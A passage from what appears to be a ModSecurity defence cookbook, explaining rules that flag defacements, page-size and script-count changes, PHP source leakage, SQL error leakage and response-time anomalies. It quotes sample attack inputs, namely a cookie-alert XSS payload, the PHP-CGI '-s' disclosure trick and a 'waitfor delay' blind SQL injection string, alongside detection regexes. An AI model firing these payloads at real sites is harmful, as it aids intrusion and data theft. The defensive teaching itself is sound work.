Retrieved collection (name "resource", key "192.168.168.128_/joomla/
index.php").
Delta applied for resource.UPDATE_COUNTER 5->6 (1): 5 + (1) = 6 
[6,1]
Wrote variable: name "__expire_KEY", value "1336107470".
Wrote variable: name "KEY", value "192.168.168.128_/joomla/
index.php".
Wrote variable: name "TIMEOUT", value "3600".
Wrote variable: name "__key", value "192.168.168.128_/joomla/
index.php".
Wrote variable: name "__name", value "resource".
Wrote variable: name "CREATE_TIME", value "1336103788".
Wrote variable: name "UPDATE_COUNTER", value "6".
Wrote variable: name "min_pattern_threshold", value "5".
Wrote variable: name "min_traffic_threshold", value "10".
Wrote variable: name "traffic_counter", value "12".
Wrote variable: name "enforce_response_code", value "200".
Wrote variable: name "enforce_response_title", value "Login".
Wrote variable: name "enforce_response_profile", value "1".
Wrote variable: name "response_code_counter_200", value "1".
Wrote variable: name "response_title_counter_Login", value "1".
This data shows that the resource /joomla/login.php should return a title tag of "Login". If the page title data changes, this profile would catch it. Here are the enforcement rules for the response title:
SecRule &RESOURCE:ENFORCE_RESPONSE_PROFILE "@eq 0" "phase:3,
id:'999301',t:none,nolog,pass,skipAfter:END_RES_PROFILE_ENFORCEMENT"
SecRule &RESOURCE:ENFORCE_RESPONSE_PROFILE "@eq 1" "phase:3,
id:'999302',t:none,nolog,pass,exec:/etc/apache2/modsecurity-crs/lua/
appsensor_response_enforce.lua"
 
SecRule TX:RESPONSE_TITLE_VIOLATION "!^$" "phase:4,id:'999304',
t:none,block,capture,msg:'Invalid Response Title for Resource.',
logdata:'Current Response Title: %{tx.response_title_violation} and
 Allowed Response Title: %{resource.enforce_response_title}',
setvar:'tx.msg=%{rule.msg}',
setvar:tx.anomaly_score=+%{tx.error_anomaly_score},
setvar:tx.profiler_score=+%{tx.error_anomaly_score},
tag:'POLICY/RESPONSE_TITLE'"
Here is the ModSecurity error log alert when it identifies the hacked HTML title tag data in the response:
[Fri May 04 00:51:19 2012] [error] [client 192.168.168.1] 
ModSecurity: Warning. Match of "rx ^$" against "TX:response_title_
violation" required. [file "/etc/apache2/modsecurity-crs/base_rules/
modsecurity_crs_40_appsensor_detection_point_2.1_response_exception.
conf"] [line "39"] [id "999304"] [msg "Invalid Response Title for 
Resource."] [data "Current Response Title: [#] hacked by dr.waham~
q8&nbsp; [#]&nbsp;&nbsp;&nbsp;&nbsp; </title> and Allowed Response 
Title: login"] [tag "POLICY/RESPONSE_TITLE"] [hostname "192.168.168.
128"] [uri "/joomla/index.php"] [unique_id "T6NgR38AAQEAAAtIAnEAAAAD"]


Recipe 6-5: Detecting Page Size Deviations
This recipe demonstrates how to identify when there are abnormalities with response body sizes.
Ingredients
  • ModSecurity
    • modsecurity_crs_40_appsensor_detection_point_2.0_setup.conf
    • modsecurity_crs_40_appsensor_detection_point_2.1_response_exception.conf
    • appsensor_response_enforce.lua
    • appsensor_response_profile.lua
Two main compromise scenarios may directly impact the resulting web page size:
  • Web page defacements
  • Bulk extraction of back-end database information
When web defacers modify the target web page, the resulting page typically is significantly smaller than the normal web page. On the other end of the spectrum, when criminals successfully execute a SQL Injection attack and conduct bulk extractions of data, the web page is often significantly larger than normal. To catch these two scenarios, we must be able to track the normal size ranges for our response body content and generate alerts if a deviation occurs.
To identify these page size anomalies, we can use the ModSecurity Lua API to profile the normal page sizes for each resource and save that data in a persistent collection. The OWASP ModSecurity Core Rule Set includes a file called modsecurity_crs_40_appsensor_2.1_response_exception.conf, which includes the following rules that profile response data:
#
# --[ Begin Profiling Phase ]--
#
SecMarker BEGIN_RES_PROFILE_ANALYSIS
SecRule RESPONSE_STATUS "^404$" "phase:5,id:'981099',t:none,nolog,
pass,setvar:!resource.KEY,skipAfter:END_RES_PROFILE_ANALYSIS"
SecRule RESPONSE_STATUS "^(5|4)" "phase:5,id:'981100',t:none,nolog,
pass,skipAfter:END_RES_PROFILE_ANALYSIS"
SecRule TX:ANOMALY_SCORE "!@eq 0" "phase:5,id:'981101',t:none,nolog,
pass,skipAfter:END_RES_PROFILE_ANALYSIS"
SecRule &RESOURCE:ENFORCE_RES_PROFILE "@eq 1" "phase:2,id:'981102',
t:none,nolog,pass,skipAfter:END_RES_PROFILE_ANALYSIS"
 
SecAction "id:999304',phase:5,nolog,pass,exec:/etc/apache2/
modsecurity-crs/lua/appsensor_response_profile.lua"
 
SecMarker END_RES_PROFILE_ANALYSIS
The bold SecAction line executes the appsensor_response_profile.lua script, which tracks the returned HTTP status codes for each resource. The ModSecurity debug log shows the following data when the profiling threshold is complete:
Retrieved collection (name "resource", key "192.168.168.128_/joomla/
index.php").
Delta applied for resource.UPDATE_COUNTER 10->11 (1): 10 + (1) = 11 
[11,2]
Wrote variable: name "__expire_KEY", value "1336112545".
Wrote variable: name "KEY", value "192.168.168.128_/joomla/
index.php".
Wrote variable: name "TIMEOUT", value "3600".
Wrote variable: name "__key", value "192.168.168.128_/joomla/
index.php".
Wrote variable: name "__name", value "resource".
Wrote variable: name "CREATE_TIME", value "1336108354".
Wrote variable: name "UPDATE_COUNTER", value "11".
Wrote variable: name "min_pattern_threshold", value "5".
Wrote variable: name "min_traffic_threshold", value "10".
Wrote variable: name "traffic_counter", value "11".
Wrote variable: name "LAST_UPDATE_TIME", value "1336108945".
Wrote variable: name "enforce_response_code", value "200".
Wrote variable: name "enforce_response_title", value "login".
Wrote variable: name "enforce_response_size", value "5487".
Wrote variable: name "MinResponseSize", value "5487".
Wrote variable: name "MaxResponseSize", value "5487".
Wrote variable: name "enforce_response_profile", value "1".
Wrote variable: name "response_code_counter_200", value "1".
Wrote variable: name "response_title_counter_login", value "1".
Wrote variable: name "ResponseSize_counter_5487", value "1".
Persisted collection (name "resource", key "192.168.168.128_/joomla/
index.php").
This data shows that the resource /joomla/login.php should return a page size of exactly 5487 bytes. Notice that we are tracking a minimum and maximum size range, but this particular resource’s size is constant. If the page size changes, this profile would catch it. Here are the enforcement rules for the response title:
SecRule &RESOURCE:ENFORCE_RESPONSE_PROFILE "@eq 0" "phase:3,
id:'999301',t:none,nolog,pass,skipAfter:END_RES_PROFILE_ENFORCEMENT"
SecRule &RESOURCE:ENFORCE_RESPONSE_PROFILE "@eq 1" "phase:3,
id:'999302',t:none,nolog,pass,exec:/etc/apache2/modsecurity-crs/lua/
appsensor_response_enforce.lua"
 
SecRule TX:MIN_RESPONSE_SIZE_VIOLATION "!^$" "phase:4,id:'999305',
t:none,block,capture,msg:'Invalid Response Size for Resource.',
logdata:'Current Response Size: %{tx.min_response_size_violation} 
and Min Response Size: %{resource.minresponsesize}',
setvar:'tx.msg=%{rule.msg}',
setvar:tx.anomaly_score=+%{tx.error_anomaly_score},
setvar:tx.profiler_score=+%{tx.error_anomaly_score},
tag:'POLICY/RESPONSE_SIZE'"
 
SecRule TX:MAX_RESPONSE_SIZE_VIOLATION "!^$" "phase:4,id:'999306',
t:none,block,capture,msg:'Invalid Response Size for Resource.',
logdata:'Current Response Size: %{tx.max_response_size_violation} 
and Max Response Size: %{resource.maxresponsesize}',
setvar:'tx.msg=%{rule.msg}',
setvar:tx.anomaly_score=+%{tx.error_anomaly_score},
setvar:tx.profiler_score=+%{tx.error_anomaly_score},
tag:'POLICY/RESPONSE_SIZE'"
Here is the ModSecurity error log alert when it identifies the defaced HTML page in the response due to a small response size:
[Fri May 04 02:28:44 2012] [error] [client 192.168.168.1] 
ModSecurity: Warning. Match of "rx ^$" against "TX:MIN_RESPONSE_SIZE
_VIOLATION" required. [file "/etc/apache2/modsecurity-crs/base_rules
/modsecurity_crs_40_appsensor_detection_point_2.1_response_exception
.conf"] [line "42"] [id "999305"] [msg "Invalid Response Size for 
Resource."] [data "Current Response Size: 401 and Min Response Size:
 5487"] [tag "POLICY/RESPONSE_SIZE"] [hostname "192.168.168.128"]
 [uri "/joomla/index.php"] [unique_id "T6N3HH8AAQEAABTjAfYAAAAD"]

Caution
While this technique does work to identify these types of successful attack characteristics, there are some cautions with its usage. The main issue has to do with false positives that may arise from web pages that legitimately have wide deviations in response page sizes. For instance, what about web forum and comment pages? These pages will continue to grow over the course of its usage. It is recommended that this type of profiling be selectively applied for resources that you specifically want to monitor. Considering the web page defacement scenario, your main index pages would be a wise choice for monitoring.


Recipe 6-6: Detecting Dynamic Content Changes
This recipe shows you how to monitor the response body content of HTML pages to determine when the amount of dynamic code present in the page changes.
Ingredients
  • ModSecurity
    • modsecurity_crs_40_appsensor_detection_point_2.0_setup.conf
    • modsecurity_crs_40_appsensor_detection_point_2.1_response_exception.conf
    • appsensor_response_enforce.lua
    • appsensor_response_profile.lua
Do you know when dynamic content on your web application changes? More specifically, do you know when the number of JavaScript calls or iframe tags changes? You should, because the unexpected addition of these types of data calls often indicates that an attacker has successfully completed a cross-site scripting (XSS) or planting-of-malware attack.
To identify these page anomalies, we can use the ModSecurity Lua API to profile the normal page sizes for each resource and save that data in a persistent collection. The OWASP ModSecurity Core Rule Set includes a file called modsecurity_crs_40_appsensor_2.1_response_exception.conf, which includes the following rules that profile response data:
#
# --[ Begin Profiling Phase ]--
#
SecMarker BEGIN_RES_PROFILE_ANALYSIS
SecRule RESPONSE_STATUS "^404$" "phase:5,id:'981099',t:none,nolog,
pass,setvar:!resource.KEY,skipAfter:END_RES_PROFILE_ANALYSIS"
SecRule RESPONSE_STATUS "^(5|4)" "phase:5,id:'981100',t:none,nolog,
pass,skipAfter:END_RES_PROFILE_ANALYSIS"
SecRule TX:ANOMALY_SCORE "!@eq 0" "phase:5,id:'981101',t:none,nolog,
pass,skipAfter:END_RES_PROFILE_ANALYSIS"
SecRule &RESOURCE:ENFORCE_RES_PROFILE "@eq 1" "phase:2,id:'981102',
t:none,nolog,pass,skipAfter:END_RES_PROFILE_ANALYSIS"
 
SecAction "id:999304',phase:5,nolog,pass,exec:/etc/apache2/
modsecurity-crs/lua/appsensor_response_profile.lua"
 
SecMarker END_RES_PROFILE_ANALYSIS
The bold SecAction line executes the appsensor_response_profile.lua script, which tracks the number of JavaScript tags for each resource. The ModSecurity debug log shows the following data when the profiling threshold is complete:
Retrieved collection (name "resource", key "192.168.168.128_
/wordpress/").
Delta applied for resource.UPDATE_COUNTER 10->11 (1): 10 + (1) = 11
 [11,2]
Wrote variable: name "__expire_KEY", value "1336449173".
Wrote variable: name "KEY", value "192.168.168.128_/wordpress/".
Wrote variable: name "TIMEOUT", value "3600".
Wrote variable: name "__key", value "192.168.168.128_/wordpress/".
Wrote variable: name "__name", value "resource".
Wrote variable: name "CREATE_TIME", value "1336445543".
Wrote variable: name "UPDATE_COUNTER", value "11".
Wrote variable: name "min_pattern_threshold", value "5".
Wrote variable: name "min_traffic_threshold", value "10".
Wrote variable: name "traffic_counter", value "11".
Wrote variable: name "LAST_UPDATE_TIME", value "1336445573".
Wrote variable: name "enforce_response_code", value "200".
Wrote variable: name "enforce_response_title", value "broken 
wordpress  ".
Wrote variable: name "enforce_response_size", value "8260".
Wrote variable: name "enforce_num_of_scripts", value "1".
Wrote variable: name "MinResponseSize", value "8260".
Wrote variable: name "MaxResponseSize", value "8260".
Wrote variable: name "MinNumOfScripts", value "1".
Wrote variable: name "MaxNumOfScripts", value "1".
Wrote variable: name "enforce_response_profile", value "1".
Wrote variable: name "response_code_counter_200", value "1".
Wrote variable: name "response_title_counter_broken wordpress  ", 
value "1".
Wrote variable: name "ResponseSize_counter_8260", value "1".
Wrote variable: name "NumOfScripts_counter_1", value "1".
Persisted collection (name "resource", key "192.168.168.128_/
wordpress/").
This data shows that the resource /wordpress/ should contain only a single JavaScript snippet of code. Notice that we are tracking a minimum and maximum number of allowed script tags, but this particular resource’s size is constant at only one. If the number of scripts changes, this profile would catch it. Here are the enforcement rules for the number of scripts:
SecRule TX:MIN_NUM_SCRIPTS_VIOLATION "!^$" "phase:4,id:'999307',
t:none,block,capture,msg:'Invalid Min Number of Script Tags for 
Resource.',logdata:'Current # of Scripts: %{tx.min_num_scripts_
violation} and Min # of Scripts Allowed: 
%{resource.minnumofscripts}',setvar:'tx.msg=%{rule.msg}',
setvar:tx.anomaly_score=+%{tx.error_anomaly_score},
setvar:tx.profiler_score=+%{tx.error_anomaly_score},
tag:'POLICY/RESPONSE_SCRIPTS'"
 
SecRule TX:MAX_NUM_SCRIPTS_VIOLATION "!^$" "phase:4,id:'999308',
t:none,block,capture,msg:'Invalid Max Number of Script Tags for 
Resource.',logdata:'Current # of Scripts: %{tx.max_num_scripts_
violation} and Max # of Scripts Allowed: 
%{resource.maxnumofscripts}',setvar:'tx.msg=%{rule.msg}',
setvar:tx.anomaly_score=+%{tx.error_anomaly_score},
setvar:tx.profiler_score=+%{tx.error_anomaly_score},
tag:'POLICY/RESPONSE_SCRIPTS'"
Let’s now imagine that an attacker attempts the XSS attack on a WordPress comment page, as shown in Figure 6-2.

Figure 6-2: A reflected XSS attack against WordPress

c06f002.tif
If this attack works, the response body now includes the following new script tag data:
<li class="" id="comment-95">
     <cite><a href='http://foo.org' rel='external nofollow'>bob</a>
</cite> Says:
          <em>Your comment is awaiting moderation.</em>
               <br />
 
               <small class="commentmetadata"><a href="#comment-95" 
title="">May 7th, 2012 at 11:22 pm</a> </small>
 
               <p><script>alert(document.cookie)</script>
</p>
 
          </li>
Our rules would catch the existence of this new script tag data and would generate the following alert:
[Mon May 07 23:33:05 2012] [error] [client 192.168.168.1] 
ModSecurity: Warning. Match of "rx ^$" against "TX:MAX_NUM_SCRIPTS_
VIOLATION" required. [file "/etc/apache2/modsecurity-crs/base_rules/
modsecurity_crs_40_appsensor_detection_point_2.1_response_exception.
conf"] [line "49"] [id "999308"] [msg "Invalid Max Number of Script 
Tags for Resource."] [data "Current # of Scripts: 2 and Max # of 
Scripts Allowed: 1"] [tag "POLICY/RESPONSE_SCRIPTS"] [hostname 
"192.168.168.128"] [uri "/wordpress/index.php"] 
[unique_id "T6iT8X8AAQEAACN@Aj8AAAAD"]
Note that this same concept can be used to detect changes in the number of iframes, image tags, and hyperlink tags as well. This would help identify other attack vectors such as the planting of malware.


Recipe 6-7: Detecting Source Code Leakages
This recipe shows you how to find source code leakages in response body data.
Ingredients
  • ModSecurity
    • modsecurity_crs_50_outbound.conf
    • @pm operator
    • @rx operator
There are a number of different scenarios in which dynamic application code does not execute server-side and the source code is instead sent directly to the client. Although some code leakages are a result of malicious intent, in other situations they are an unintended by-product of a system change. For example, if the OS file execution bit is accidentally removed, the web application may not execute code with the file and instead sends the contents to the client. Currently a public vulnerability allows remote attackers to easily reveal the source code of PHP-CGI applications. By simply adding -s directly after the question mark character at the beginning of the query_string, an attacker can trick the application into showing its source code, as shown in Figure 6-3.

Figure 6-3: PHP-CGI Source code disclosure attack

c06f003.eps
This is obviously an undesirable situation, because it can disclose sensitive internal information about your web application logic. Therefore, it should be prevented at all costs. The OWASP ModSecurity Core Rule Set includes a file called modsecurity_crs_50_outbound.conf, which inspects the response body content and looks for signs of source code that did not execute before being sent to the client. The following rule would catch the outbound data shown in Figure 6-3:
SecRule RESPONSE_BODY "<?(?!xml)" 
        "phase:4,rev:'2.2.3',chain,t:none,capture,ctl:auditLogParts=
+E,block,msg:'PHP source code leakage',id:'970902',tag:'LEAKAGE/
SOURCE_CODE_PHP',tag:'WASCTC/WASC-13',tag:'OWASP_TOP_10/A6',
tag:'PCI/6.5.6',severity:'3'"SecRule RESPONSE_BODY "!(?:(?:(?:i
(?:nterplay|hdr|d3)|m(?:ovi|thd)|r(?:ar!|iff)|(?:ex|jf)if|f(?:lv|ws)
|varg|cws)|gif)|B(?:%pdf|.ra))" "t:none,capture,
setvar:'tx.msg=%{rule.msg}',
setvar:tx.outbound_anomaly_score=+%{tx.error_anomaly_score},
setvar:tx.anomaly_score=+%{tx.error_anomaly_score},
setvar:tx.%{rule.id}-LEAKAGE/SOURCE_CODE-%{matched_var_name}=
%{tx.0}"
Here is how the debug logging looks during processing:
Recipe: Invoking rule b9401090; [file "/etc/apache2/modsecurity-crs/
base_rules/modsecurity_crs_50_outbound.conf"] [line "217"] 
[id "970902"] [rev "2.2.3"].
Rule b9401090: SecRule "RESPONSE_BODY" "@rx <\?(?!xml)" "phase:4,
log,rev:2.2.3,chain,t:none,capture,ctl:auditLogParts=+E,block,
msg:'PHP source code leakage',id:970902,tag:LEAKAGE/SOURCE_CODE_PHP,
tag:WASCTC/WASC-13,tag:OWASP_TOP_10/A6,tag:PCI/6.5.6,severity:3"
Transformation completed in 1 usec.
Executing operator "rx" with param "<\?(?!xml)" against 
RESPONSE_BODY.
Target value: "<?php
/**
* @version		$Id: index.php 11407 2009-0
1-09 17:23:42Z willebil $
* @package		Joomla
* @copyright	
Copyright (C) 2005 - 2009 Open Source Matters. All rights reserved.

* @license		GNU/GPL, see LICENSE.php
* Joomla! is free 
software. This version may have been modified pursuant
* to the 
GNU General Public License, and as distributed it includes or
* is
 derivative of works licensed under the GNU General Public License 
or
* other free or open source software licenses.
* See 
COPYRIGHT.php for copyright notices and details.
*/

// Set flag
 that this is a parent file
define( '_JEXEC', 1 );

define
('JPATH_BASE', dirname(__FILE__) );

define( 'DS', 
DIRECTORY_SEPARATOR );

require_once ( JPATH_BASE .DS.'includes'
.DS.'defines.php' );
require_once ( JPATH_BASE .DS.'includes'.DS.
'framework.php' );

JDEBUG ? $_PROFILER->mark( 'afterLoad' ) : 
null;

/**
 * CREATE THE APPLICATION
 *
 * NOTE :
 */

$mainframe =& JFactory::getApplication('site'),

/**
 * 
INITIALISE
Added regex subexpression to TX.0: <?
Operator completed in 22 usec.
Ctl: Set auditLogParts to ABIJDEFHZEEEEEE.
Rule returned 1.
Match -> mode NEXT_RULE.
Recipe: Invoking rule b94047f0; [file "/etc/apache2/modsecurity-crs/
base_rules/modsecurity_crs_50_outbound.conf"] [line "218"].
Rule b94047f0: SecRule "RESPONSE_BODY" "!@rx (?:\b(?:(?:i
(?:nterplay|hdr|d3)|m(?:ovi|thd)|r(?:ar!|iff)|(?:ex|jf)if|f(?:lv|ws)
|varg|cws)\b|gif)|B(?:%pdf|\.ra)\b)" "t:none,capture,
setvar:tx.msg=%{rule.msg},setvar:tx.outbound_anomaly_score=+%
{tx.error_anomaly_score},setvar:tx.anomaly_score=+%
{tx.error_anomaly_score},setvar:tx.%{rule.id}-LEAKAGE/SOURCE_CODE-%
{matched_var_name}=%{tx.0}"
Transformation completed in 1 usec.
Executing operator "!rx" with param "(?:\b(?:(?:i(?:nterplay|hdr|
d3)|m(?:ovi|thd)|r(?:ar!|iff)|(?:ex|jf)if|f(?:lv|ws)|varg|cws)\b|
gif)|B(?:%pdf|\.ra)\b)" against RESPONSE_BODY.
Target value: "<?php
/**
* @version		$Id: index.php 11407 2009-0
1-09 17:23:42Z willebil $
* @package		Joomla
* @copyright	
Copyright (C) 2005 - 2009 Open Source Matters. All rights reserved.

* @license		GNU/GPL, see LICENSE.php
* Joomla! is free 
software. This version may have been modified pursuant
* to the 
GNU General Public License, and as distributed it includes or
* is
 derivative of works licensed under the GNU General Public License 
or
* other free or open source software licenses.
* See 
COPYRIGHT.php for copyright notices and details.
*/

// Set flag
 that this is a parent file
define( '_JEXEC', 1 );

define
('JPATH_BASE', dirname(__FILE__) );

define( 'DS', 
DIRECTORY_SEPARATOR );

require_once ( JPATH_BASE .DS.'includes'
.DS.'defines.php' );
require_once ( JPATH_BASE .DS.'includes'.DS.
'framework.php' );

JDEBUG ? $_PROFILER->mark( 'afterLoad' ) : 
null;

/**
 * CREATE THE APPLICATION
 *
 * NOTE :
 */

$mainframe =& JFactory::getApplication('site'),

/**
 * 
INITIALISE
Operator completed in 348 usec.
Setting variable: tx.msg=%{rule.msg}
Resolved macro %{rule.msg} to: PHP source code leakage
Set variable "tx.msg" to "PHP source code leakage".
Setting variable: tx.outbound_anomaly_score=
+%{tx.error_anomaly_score}
Recorded original collection variable: tx.outbound_anomaly_score = 
"0"
Resolved macro %{tx.error_anomaly_score} to: 4
Relative change: outbound_anomaly_score=0+4
Set variable "tx.outbound_anomaly_score" to "4".
Setting variable: tx.anomaly_score=+%{tx.error_anomaly_score}
Recorded original collection variable: tx.anomaly_score = "0"
Resolved macro %{tx.error_anomaly_score} to: 4
Relative change: anomaly_score=0+4
Set variable "tx.anomaly_score" to "4".
Setting variable: tx.%{rule.id}-LEAKAGE/SOURCE_CODE-
%{matched_var_name}=%{tx.0}
Resolved macro %{rule.id} to: 970902
Resolved macro %{matched_var_name} to: RESPONSE_BODY
Resolved macro %{tx.0} to: <?
Set variable "tx.970902-LEAKAGE/SOURCE_CODE-RESPONSE_BODY" to "<?".
Warning. Match of "rx (?:\b(?:(?:i(?:nterplay|hdr|d3)|m(?:ovi|thd)
|r(?:ar!|iff)|(?:ex|jf)if|f(?:lv|ws)|varg|cws)\b|gif)|B(?:%pdf|\.r
a)\b)" against "RESPONSE_BODY" required. [file "/etc/apache2/
modsecurity-crs/base_rules/modsecurity_crs_50_outbound.conf"] 
[line "217"] [id "970902"] [rev "2.2.3"] [msg "PHP source code 
leakage"] [severity "ERROR"] [tag "LEAKAGE/SOURCE_CODE_PHP"] 
[tag "WASCTC/WASC-13"] [tag "OWASP_TOP_10/A6"] [tag "PCI/6.5.6"]
As you can see from the bold sections, the rule identified the "<?" data that declares the start of the PHP code.


Recipe 6-8: Detecting Technical Data Leakages
This recipe demonstrates how to determine when outbound error pages contain technical information generated by the application failure.
Ingredients
  • ModSecurity
    • modsecurity_crs_50_outbound.conf
    • @pm operator
    • @rx operator
Application Failure Stack Dumps
Similar to the causation scenarios presented in the preceding recipe, there are both intentional and unintentional situations where an application may present technical application error data to the end client. Many times, applications are purposefully configured to present detailed technical data to clients during internal quality assurance testing. The problem is that these configurations are often forgotten when applications move into production. Besides forgetting to update the logging configuration, the fact is that many web application owners simply are unaware of these settings. Figure 6-4 shows an ASPX technical stack dump.

Figure 6-4: ASPX technical stack dump

c06f004.tif
This particular data was generated when the application received unexpected content such as a single-quote character ('). Although this information may not seem too ominous at first, it can help an attacker gain a better understanding of the application directory structure, format, and usage. This intelligence can help an attacker fine-tune his attack strategy.
The OWASP ModSecurity Core Rule Set includes a file called modsecurity_crs_50_outbound.conf, which inspects the response body content and looks for signs of technical stack dump data being sent to the client. Here is the rule that would catch the outbound data shown in Figure 6-4:
SecRule RESPONSE_BODY ">error 'ASP|An Error Has Occurred|>Syntax 
error in string in query expression" 
        "phase:4,rev:'2.2.3',t:none,capture,ctl:auditLogParts=+E,
block,msg:'IIS Information Leakage',id:'971111',tag:'LEAKAGE/
ERRORS_IIS',tag:'WASCTC/WASC-13',tag:'OWASP_TOP_10/A6',
tag:'PCI/6.5.6',severity:'3',setvar:'tx.msg=%{rule.msg}',
setvar:tx.outbound_anomaly_score=+%{tx.error_anomaly_score},
setvar:tx.anomaly_score=+%{tx.error_anomaly_score},
setvar:tx.%{rule.id}-LEAKAGE/ERRORS-%{matched_var_name}=%{tx.0}"
The following alert would be generated when the response data was inspected:
[Tue May 08 18:43:56 2012] [error] [client 192.168.1.103] 
ModSecurity: Warning. Pattern match ">error \'ASP\\b|An Error 
Has Occurred|>Syntax error in string in query expression" at 
RESPONSE_BODY. [file "/etc/apache2/modsecurity-crs/base_rules/
modsecurity_crs_50_outbound.conf"] [line "304"] [id "971111"] 
[rev "2.2.3"] [msg "IIS Information Leakage"] [severity "ERROR"] 
[tag "LEAKAGE/ERRORS_IIS"] [tag "WASCTC/WASC-13"] 
[tag "OWASP_TOP_10/A6"] [tag "PCI/6.5.6"] 
[hostname "demo.testfire.net"] [uri "http://demo.testfire.net/
bank/login.aspx"] [unique_id "T6mhq38AAQEAADHGBGkAAAAA"]
SQL Database Error Messages
In addition to general application stack dump data, attackers often attempt to poke and prod a back-end database to obtain detailed SQL error messages. Figure 6-5 shows a SQL error message generated by Microsoft SQL Server.
With this technical SQL error data, an attacker can fine-tune his payloads to either properly format his attacks or confirm the existence of table data. The OWASP ModSecurity Core Rule Set includes a file called modsecurity_crs_50_outbound.conf, which inspects the response body content and looks for signs of SQL database error message data being sent to the client. Here are two rules that would catch the outbound data shown in Figure 6-5:
SecRule RESPONSE_BODY "[Microsoft][ODBC |Driver.* SQL[-_ ]*Server
|OLE DB.* SQL Server|(W|A)SQL Server.*Driver|Warning.*mssql_.*|(W|A)
SQL Server.*[0-9a-fA-F]{8}|Exception Details:.*WSystem.Data.SqlClien
t.|Exception Details:.*WRoadhouse.Cms." 
        "phase:4,rev:'2.2.3',t:none,capture,ctl:auditLogParts=+E,
block,msg:'SQL Information Leakage',id:'971197',
tag:'LEAKAGE/ERRORS_SQL',tag:'WASCTC/WASC-13',tag:'OWASP_TOP_10/A6',
tag:'PCI/6.5.6',severity:'3',setvar:'tx.msg=%{rule.msg}',
setvar:tx.outbound_anomaly_score=+%{tx.error_anomaly_score},
setvar:tx.anomaly_score=+%{tx.error_anomaly_score},
setvar:tx.%{rule.id}-LEAKAGE/ERRORS-%{matched_var_name}=%{tx.0}"
 
SecRule RESPONSE_BODY "microsoft jet database engine error '8|
Microsoft Access Driver|JET Database Engine|Access Database Engine"
        "phase:4,rev:'2.2.3',t:none,capture,ctl:auditLogParts=+E,
block,msg:'SQL Information Leakage',id:'971072',
tag:'LEAKAGE/ERRORS_SQL',tag:'WASCTC/WASC-13',tag:'OWASP_TOP_10/A6',
tag:'PCI/6.5.6',severity:'3',setvar:'tx.msg=%{rule.msg}',
setvar:tx.outbound_anomaly_score=+%{tx.error_anomaly_score},
setvar:tx.anomaly_score=+%{tx.error_anomaly_score},
setvar:tx.%{rule.id}-LEAKAGE/ERRORS-%{matched_var_name}=%{tx.0}"

Figure 6-5: A Microsoft SQL Server error message

c06f005.tif
These alerts would be generated when the response data was inspected:
[Tue May 08 18:58:24 2012] [error] [client 192.168.1.103] 
ModSecurity: Warning. Pattern match "\\[Microsoft\\]\\[ODBC |
Driver.* SQL[-_ ]*Server|OLE DB.* SQL Server|(W|A)SQL Server.*Driver
|Warning.*mssql_.*|(W|A)SQL Server.*[0-9a-fA-F]{8}|Exception Details
:.*WSystem.Data.SqlClient.|Exception Details:.*WRoadhouse.Cms." at 
RESPONSE_BODY. [file "/etc/apache2/modsecurity-crs/base_rules/
modsecurity_crs_50_outbound.conf"] [line "255"] [id "971197"] 
[rev "2.2.3"] [msg "SQL Information Leakage"] [severity "ERROR"] 
[tag "LEAKAGE/ERRORS_SQL"] [tag "WASCTC/WASC-13"] 
[tag "OWASP_TOP_10/A6"] [tag "PCI/6.5.6"] 
[hostname "zero.webappsecurity.com"] 
[uri "http://zero.webappsecurity.com/login1.asp"]
 [unique_id "T6mlD38AAQEAADJdAnAAAAAC"]
 
[Tue May 08 18:58:24 2012] [error] [client 192.168.1.103] 
ModSecurity: Warning. Pattern match "\\bmicrosoft jet database 
engine error \'8|Microsoft Access Driver|JET Database Engine|
Access Database Engine" at RESPONSE_BODY. [file "/etc/apache2/
modsecurity-crs/base_rules/modsecurity_crs_50_outbound.conf"] 
[line "261"] [id "971072"] [rev "2.2.3"] [msg "SQL Information 
Leakage"] [severity "ERROR"] [tag "LEAKAGE/ERRORS_SQL"] 
[tag "WASCTC/WASC-13"] [tag "OWASP_TOP_10/A6"] [tag "PCI/6.5.6"]
 [hostname "zero.webappsecurity.com"] 
[uri "http://zero.webappsecurity.com/login1.asp"]
 [unique_id "T6mlD38AAQEAADJdAnAAAAAC"]


Recipe 6-9: Detecting Abnormal Response Time Intervals
This recipe shows you how to figure out when applications experience abnormal delays in sending their responses to clients.
Ingredients
  • ModSecurity
  • DURATION variable
Web application owners and developers often obsess over application performance. But this occurs for a perfectly valid reason. Web application users have extremely low tolerance for latency and will quickly leave your site for a competitor’s site if yours is too slow. With this in mind, we can leverage the fact that the web applications will process the request and respond rather quickly. Yes, variance between resources and back-end processing will occur, but latency will be minimized as much as possible.
So why am I talking about application latency? What does this have to do with web security monitoring? I’m glad you asked! Chapter 10 discusses SQL Injection attacks and defense in more depth, but one aspect is appropriate to cover now—blind SQL Injection. In this scenario, the attacker still can send the SQL Injection payload and have it be executed by the back-end database. However, the application has been configured to not send detailed error messages. This means that the attacker must instruct the database to conditionally execute certain code if the result of the query is either true or false. A favorite technique of attackers is to use the waitfor delay command. It simply tells the database to sit idle for a specified period of time before completing the transaction if the statement is true. Here is a real-life WordPress error message generated when an attacker ran a similar malicious query against the site:
WordPress database error You have an error in your SQL syntax; check
 the manual that corresponds to your MySQL server version for the 
right syntax to use near ''; if (1=1) waitfor delay '00:00:17'—
ORDER BY id DESC LIMIT 0, 1' at line 1 for query SELECT SQL_CALC_
FOUND_ROWS * FROM 'wp_10_wpreport' WHERE id=123'; if (1=1) waitfor 
delay '00:00:17'-- ORDER BY id DESC LIMIT 0, 1; made by ReportPost
->findReports
Notice the bold waitfor delay command. If this statement is true, the database would wait for a total of 17 seconds before completing the query. Although all this attacker modus operandi may be interesting, you may be wondering why I am talking about this attack specifically. The key component for identifying these types of forced-delay situations is the extended latency in receiving the response. Therefore, we can add some ModSecurity rules that are specifically designed to monitor how long it takes the web application to process the request and send back a response. If it takes too long, we can generate an alert. Here are some sample rules:
SecAction 
"phase:2,id:999309,t:none,nolog,pass,setvar:tx.response_timer_1=%
{time_sec}"
 
SecAction 
"phase:3,id:999310,t:none,nolog,pass,setvar:tx.response_timer_2=%
{time_sec}, setvar:tx.response_timer_2=-%{tx.response_timer_1}"
 
SecRule TX:RESPONSE_TIMER_2 "@ge 5" "phase:3,id:999311,t:none,log,
block,msg:'Response Latency Threshold Violation.',logdata:
'Latency: %{tx.response_timer_2} secs.'"
The first rule records the current time in seconds at the end of phase:2, which is the end of the inbound request phase. It then sets the current time in seconds at the beginning of phase:3, which is the response phase. It then identifies the time interval between the phases by subtracting the first timer from the second timer. The final rule inspects the latency number and triggers if it is more than 5 seconds. Here is some sample debug log data:
